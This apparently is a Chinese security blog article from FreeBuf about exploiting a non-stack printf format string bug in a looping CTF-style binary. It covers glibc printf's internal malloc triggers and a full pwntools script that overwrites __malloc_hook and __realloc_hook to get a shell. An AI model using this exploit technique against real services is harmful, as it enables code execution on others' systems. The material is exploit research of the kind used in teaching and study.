freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

安全研究:HOUSE_OF_FMT
2021-08-11 11:42:45

一、问题提出

//  house_of_fmt.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char buf[200] ;
int main(){
	setvbuf(stdout,0,2,0);
	while(1){
		read(0,buf,200);
		printf(buf);
	}
	return 0;
}
//gcc -z now -pie  house_of_fmt.c -o house_of_fmt_x64

二、问题分析

显然这是一个非栈上格式化字符串漏洞,为了全面解释这个问题现简要介绍一下格式化字符串漏洞,不需要的可以直接跳至第三部分:“问题分析”

(一)格式化字符串基本格式

% [parameter] [flags] [field width] [.precision] [length] type

一般来说格式化字符串漏洞很少利用到 flags .precision (*),就不多讲了,主要我们经常使用的是 parameter , field width 和 length 这3个参数,常见形式就是 %15$p 这种形式,主要是利用 %p %s %n %a %c 少数几种,其中 %n %c 主要用于写,其他的都是用于读,

(二)格式化字符串漏洞方法利用概述

格式化字符串漏洞大致分为栈上与非栈上两种

1.栈上格式化字符串漏洞利用较为直观,流程简要为泄露地址 -> 修改got表(构造ROP)-> 取得shell

2.非栈上又分为bss段与堆上的两种情况,典型例题是 HITCON-Training 中的 LAB9 ,由于是非栈上偏移不确定,不能一次性完成一个字长的修改,只能逐个字节修改,攻击思路分为两种

1.四马分肥

2.诸葛连努(不是我写错,那个字为什么是敏感字)

1.四马分肥

这种方式就是利用栈中现有的 .text 段内容,将 printf 的 got 表地址分成多段(一般为4份),再一次性修改 got 表项,最后取得shell。

原栈中布局如下图,利用黄色链将四个红色部分分别改成 printf@got.plt , printf@got.plt+2 , printf@got.plt+4 , printf@got.plt+6

image

调整后结果如下

image

最后再一次性将 printf@got.plt 修改成 system 的地址,最后输入 '/bin/sh\x00' 取得shell

image

2.诸葛连努 (因为这种方式于下面攻击有关,所以写详细一些)

如果我们目标是修改 target_addr 中的值。这种方式是利用 a->b->c 的链构造出 a->b->c->target_addr 链。首先修改地址 c 中末端的 1 个字节为 (target_addr & 0xFF) ,然后修改为 a->b->c+1 后,再修改地址 c+1 中末端的 1 个字节 ,即 c地址所指的第2个字节,然后以此 a->b->c+2 , a->b->c+3 ..... 逐步修改完成,最终形成 a->b->c->target_addr 链。此时将 b->c->target_addr 链看做 a->b->c 即可修改 target_addr 中的值。步骤如下。

现在我们想修改红色方框中地址(target_addr )所存储的值。我们将黄色区域 0x7fffffffdec0 -> 0x7fffffffdfa8 -> 0x7fffffffe2f0 作为 a->b->c 链

image

首先利用下图中 0x7fffffffdec0 -> 0x7fffffffdfa8 -> 0x7fffffffe2f0 将 0x7fffffffe2f0 低 2 字节修改为目标地址的低 2 字节

image

然后修改 0x7fffffffe2f0+2

image

接下来将 0x7fffffffe2f0+2 修改为 目标地址的 3-4 字节,

image

以此类推完成所有修改,最后形成 a->b->c->target_addr ,此时再利用上述方法即可将 target_addr 中的值修改为任意值。

image

3、2种攻击方式的比较

第1种攻击方式相对直白一些,所以网上大多数 writeup 都是这种方式,相对于第2种它能够修改 got 表,如果出题人不从中作梗,由于操作系统的关系,这种攻击方式基本上必然能够成立。但是当 FULL RELRO 时,则需要修改栈上的返回地址构造 ROP 链,则相繁琐一些,且可能因为 ROP 链过长影响“四马”的选择。

第2种方式有些绕,需要多次写入修改;由于是逐个字节写内存,所以不能修改 got 表;单字节修改时尾部字节在 0XFD-0XFF 时程序会失败,双字节修改时尾部字节在 0XFFFD-0XFFFF 时程序会失败。因此方法2不是最佳选择。但当 FULL RELRO 时 ,修改返回地址构造 ROP 链则相对简单一些。

(三)问题难点

格式化字符串漏洞由于攻击性质,决定必须满足以下两种情况下的一种

RELRO 保护模式不为 FULL RELRO ,GOT表需要可写

程序有退出选项,通过构造ROP链,在程序退出后取得shell

但是开头的题目中以上两种情况均不满足,从代码程序角度来看程序运行在无限的死循环中,修改栈的返回地址无法触发ROP,也无法修改 got 表,那么此时该如何攻击。

三、问题解析

本人考虑是利用 printf 的 malloc 机制来进行攻击,下面简要说明一下 glibc 中 printf 的 malloc 机制(由于 printf 实现过程相当复杂,很多地方用到 malloc ,此处只是说明几个关键点,如有性趣可自行阅读源码)

(一) glibc 中 printf 的 malloc 机制

1.第一次申请缓冲区

当没有关闭缓冲区时,第一次调用 printf 会触发 malloc ,之后便不再触发,这个主要是 IO_FILE 机制,由于有 vtable 存在,调用过程很难写明白,并且由于以后不会再次触发 malloc,所以影响不大,此题中为了方便将缓冲区关闭,不关闭同样适用。调用过程如下图

image

2. width 超长触发 malloc

这是一种在 printf 中第一个参数中 width 长度 >= 65505 时触发 malloc 的机制 ,按照 glibc 的说法是作为特殊缓冲区使用(说实话我也不清楚它用来存储什么,从整个代码来看,它创建的用途就只有 free ,通过动态调试也没有发现他存储了什么数据),因为很多地方都会调用,我只写其中一处代码作为代表。

printf ( __printf ) -> __vfprintf_internal ( vfprintf ) -> buffered_vfprintf -> __vfprintf_internal ( vfprintf ) -> malloc

//  /stdio-common/vfprintf-internal.c
if (width >= WORK_BUFFER_SIZE - EXTSIZ)    // 此处有疑问 WORK_BUFFER_SIZE 应为 1000,但实际中按照 0x1000 计算
	{
	  /* We have to use a special buffer.  */
	  size_t needed = ((size_t) width + EXTSIZ) * sizeof (CHAR_T);
	  if (__libc_use_alloca (needed))
	    workend = (CHAR_T *) alloca (needed) + width + EXTSIZ;
	  else
	    {
	      workstart = (CHAR_T *) malloc (needed);
	      if (workstart == NULL)
		{
		  done = -1;
		  goto all_done;
		}
	      workend = workstart + width + EXTSIZ;
	    }
	}

效果如下图

image

TIPS:其实 printf 支持 %10p 这种写法,它的显示效果与 %p 相同,在没有 $ 的情况下,width 是没有用的。

3.定位过长触发 malloc

对以 %X$p类似这种表示形式,若 X 大于或等于 43 时将触发 malloc,调用过程及具体代码说明如下

printf ( __printf ) -> __vfprintf_internal ( vfprintf ) -> buffered_vfprintf -> __vfprintf_internal ( vfprintf ) -> printf_positional -> printf_positional -> __libc_scratch_buffer_set_array_size ( scratch_buffer_set_array_size ) -> malloc

// /malloc/scratch_buffer_set_array_size.c

size_t new_length = nelem * size;    //其中 size = 0x18 , nelem 为上面的 X

  /* Avoid overflow check if both values are small. */
  if ((nelem | size) >> (sizeof (size_t) * CHAR_BIT / 2) != 0
      && nelem != 0 && size != new_length / nelem)
    {
      /* Overflow.  Discard the old buffer, but it must remain valid
	 to free.  */
      scratch_buffer_free (buffer);
      scratch_buffer_init (buffer);
      __set_errno (ENOMEM);
      return false;
    }

  if (new_length <= buffer->length)  //其中 buffer->length = 0x400 ,所以 43 * 0x18 = 0x408 > 0x400
    return true;

  /* Discard old buffer.  */
  scratch_buffer_free (buffer);

  char *new_ptr = malloc (new_length);

调用如图过程

image

此调用主要是用于存储 printf 各个参数,在 FORTIFY 保护启用时,要想打印第5个参数,前4个必须也要打印。存储内容如图

image

从上图可以看出,除了你需要定位的参数外(方框所示),其他的都只是按照 int (4个字节)存储(呵呵,突然感觉 glibc 好懒)

(二)攻击思路

根据上面的解析,我所计划的攻击思路如下

1.使用诸葛连努修改 malloc_hook 为 one_gadget ,此题中还需要用 realloc 调解栈帧。

2.发送 %43$p 触发 malloc

3.发送 /bin/sh\x00 取得 shell

(三)攻击细节

整个攻击过程及思路非常简单,但是在攻击中仍然存在一些细节问题。

1. offset3 随机且过大

对于 offset1 -> offset2 -> offset3 这种方式,由于 ASLR 机制,offset3 地址其实是随机的,并且它的偏移往往都是大于43的,所以还需要调整 offset3 的地址使其偏移小于 43

image

2. 缓冲传输数据

由于是使用诸葛连努的形式进行攻击,会多次传输超过 0x1000 个占位符,数据太多可能会导致一些奇奇怪怪的东西(原谅我学艺不精,目前我还解释不清原因),中间需要使用 interactive() 缓冲掉前面的数据,再 ctrl+c 后重新运行。

3.总结

所以虽然是这么简单的一个题目,但是我的攻击过程却非常复杂(个人认为)

1.通过调试找到 offset1 -> offset2 -> offset3 地址模式

2.使用格式化字符串漏洞泄露 libc 地址、rbp等。

3.调整 offset3 地址在偏移 42 及以内,并重新计算offset3

4.缓存传输数据

5.通过调试计算 realloc 调整参数值

6.通过诸葛连努的方式调整 malloc_hook 为调整后的 realloc ,realloc_hook 为 one_gadgats

(四)最终 payload

from pwn import *
import duchao_pwn_script
from sys import argv
import argparse

s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))

if __name__ == '__main__':
    pwn_log_level = 'debug'
    pwn_arch = 'amd64'
    pwn_os = 'linux'
    context(log_level=pwn_log_level, arch=pwn_arch, os=pwn_os)
    pwnfile = './fm_str'
    io = process(pwnfile)
    #io = remote('', )
    elf = ELF(pwnfile)
    rop = ROP(pwnfile)
    context.binary = pwnfile
    libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
    libc = ELF(libc_name)

    ############  bss 段上修改 got 表需要在 while 外有函数  ################
    leak_func_name = '__libc_start_main'   # 一般只能 leak  __libc_start_main
    leak_func_got = elf.got[leak_func_name]
    leak_target_addr = leak_func_got
    rewrite_got_name = 'printf'
    rewrite_got = elf.got[rewrite_got_name]
    write_target_addr = rewrite_got


    #  offset1 -> offset2 -> offset3
    offset1 = 24+2      # 偏移参数1
    offset2 = 37+2      # 偏移参数2
    # offset3 = 842      # 偏移参数3

    # 泄露 offset3 的地址
    leak_offset3_str = b'%' + str(offset1).encode(encoding='utf-8') + b'$s'
    sl(leak_offset3_str)
    offset3_addr = (u64(r()[0:6].ljust(8,b'\x00')) & 0xfffffffffffffff0)+0x10
    print(hex(offset3_addr))

    #泄露 __libc_start_main 地址
    leak_func_offset = 7+2
    leak_func_offset_str =b'%' + str(leak_func_offset).encode(encoding='utf-8') + b'$p'
    sl(leak_func_offset_str)
    leak_func_addr = int(ru('\n'), 16) - 234
    print(hex(leak_func_addr))
    sys_addr, bin_sh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr) 


    # 泄露 ebp 地址
    rbp_offset = 6+2
    leak_rbp_str = b'%' + str(rbp_offset+2).encode(encoding='utf-8') + b'$p'
    sl(leak_rbp_str)
    r()
    rbp_addr = int(ru('\n'), 16) - (31 * 0x8)
    print(hex(rbp_addr))

    offset3 = ((offset3_addr - rbp_addr)//8 + rbp_offset)
    print(offset3)

    #重新调整 offset3
    offset3_r = 42
    offset2adjust  = offset3 - offset3_r
    offset3 = offset3_r
    offset3_addr = offset3_addr - (offset2adjust * (context.word_size//8))
    print(hex(offset3_addr))

 
    def fmt_ch_x2(offset1, offset2, addr, data, dmite):
        '''
        单字节模式
        offset1:第一偏移位值,此内存保存第二个地址值
        offset2:第二个偏移值,此内存保存目标地址值
        addr:目标地址,
        data:写入的数据
        注意:此方法当目标地址的后2位在0XFD-0XFF时程序会失败,此时需要多试几次
        '''
        addr_4 = addr & 0xFF
        for i in range(context.word_size // 8):
            if (addr_4 + i) == 0:
                payload = '%' + str(offset1) + '$hhn\x00'
            else:
                payload = '%' + str(addr_4 + i) + 'c%' + str(offset1) + '$hhn\x00'
            sleep(1)
            sl(payload)
            #sla(dmite, payload)         # sl sla 需要根据情况调整
            data_t = (data >> i * 8) & 0XFF
            if data_t == 0:
                payload = '%' + str(offset2) + '$hhn\x00'
            else:
                payload = '%' + str(data_t) + 'c%' + str(offset2) + '$hhn\x00'
            sleep(1)
            sl(payload)
            #sla(dmite, payload)             # sl sla 需要根据情况调整
        # 恢复offset2中存储的addr的最后1个字节
        payload = '%' + str(addr_4) + 'c%' + str(offset1) + '$hhn\x00'
        sleep(1)
        #pause()
        sl(payload)
        #sla(dmite, payload)                 # sl sla 需要根据情况调整


    def fmt_ch_x4(offset1, offset2, addr, data, dmite):
        '''
        双字节模式,这种不建议使用,可能会接受很多未知字符
        offset1:第一偏移位值,此内存保存第二个地址值
        offset2:第二个偏移值,此内存保存目标地址值
        addr:目标地址,
        data:写入的数据
        注意:此方法当目标地址的后4位在0XFFFD-0XFFFF时程序会失败,基本上不可能
        '''
        addr_2 = addr & 0xFFFF
        for i in range(context.word_size // 16):
            if (addr_2 + (i * 2)) == 0:
                payload = '%' + str(offset1) + '$hn'
            else:
                payload = '%' + str(addr_2 + (i * 2)) + 'c%' + str(offset1) + '$hn\x00'
            sleep(1)
            sl(payload)
            #sla(dmite, payload)         # sl sla 需要根据情况调整
            data_t = (data >> i * 8) & 0XFFFF
            if data_t == 0:
                payload = '%' + str(offset2) + '$hn\x00'
            else:
                payload = '%' + str(data_t) + 'c%' + str(offset2) + '$hn\x00'
            sleep(1)
            sl(payload)
            #sla(dmite, payload)         # sl sla 需要根据情况调整
        # 恢复offset2中存储的addr的最后1个字节
        payload = '%' + str(addr_2) + 'c%' + str(offset1) + '$hn\x00'
        sleep(1)
        sl(payload)
        #sla(dmite, payload)             # sl sla 需要根据情况调整


    libc_base_addr = leak_func_addr - libc.symbols[leak_func_name]
    print(hex(libc_base_addr))

    #one_gadgets 地址
    offset_one_gadgets = 0xcbd1d
    one_gadgets_addr = offset_one_gadgets + libc_base_addr

    # 计算  hook 地址
    malloc_hook_addr = libc_base_addr + libc.symbols['__malloc_hook']
    free_hook_addr = libc_base_addr + libc.symbols['__free_hook']
    realloc_hook_addr = libc_base_addr + libc.symbols['__realloc_hook']

    #调整尾部量
    o = offset3_addr & 0xffff
    sl(b'%' + str(o).encode(encoding='utf-8') + b'c%' + str(offset1).encode(encoding='utf-8') + b'$hn')
    itr()    #接受多余数据
    sleep(1)

    # 利用 realloc_hook 调整栈地址
    # malloc -> malloc_hook -> realloc(调整后) -> realloc_hook -> onegadget
    realloc_adjust_num = 2
    realloc_addr = libc_base_addr + libc.symbols['realloc']
    # 暂时不确定是否所有的 relloc 前端 push 指令都是 r15 r14 r13 r12 rbp rbx ,如遇不行请调试
    if realloc_adjust_num <=4:
        realloc_adjust_addr = realloc_addr + realloc_adjust_num * 2
    else: realloc_adjust_addr = realloc_addr + 8 + (realloc_adjust_num-4)
    realloc_adjust_addr = realloc_addr + 20


    # 修改 free_hook  malloc_hook  为 one_gadgets 
    fmt_ch_x2(offset1,offset2,offset3_addr,malloc_hook_addr,'\n')
    fmt_ch_x2(offset2,offset3,malloc_hook_addr,realloc_adjust_addr,'\n')

    fmt_ch_x2(offset1,offset2,offset3_addr,realloc_hook_addr,'\n')
    fmt_ch_x2(offset2,offset3,realloc_hook_addr,one_gadgets_addr,'\n')

    quit_delimiter = '/bin/sh'+';'+'%65537c\x00'      # 多个字符触发 malloc
    sl(quit_delimiter)
    itr()

攻击结果如下

image

四、后记

好吧,我承认起个 HOUSE_OF_FMT 有损 HOUSE 之名,有大神有意见我就马上改掉这个名字。在做这个题目我在阅读源码时真的感觉 printf 实现的复杂,除了 IO_FILE 的虚表之外还有大量循环调用,让我想起了曾经看到的一个漫画,一个人写了个 hello world 程序说我学会了编程,后面一个大白慈祥的看着他背后写了满屏的库函数。再有机会看到这张图我会放上来的。

# 系统安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录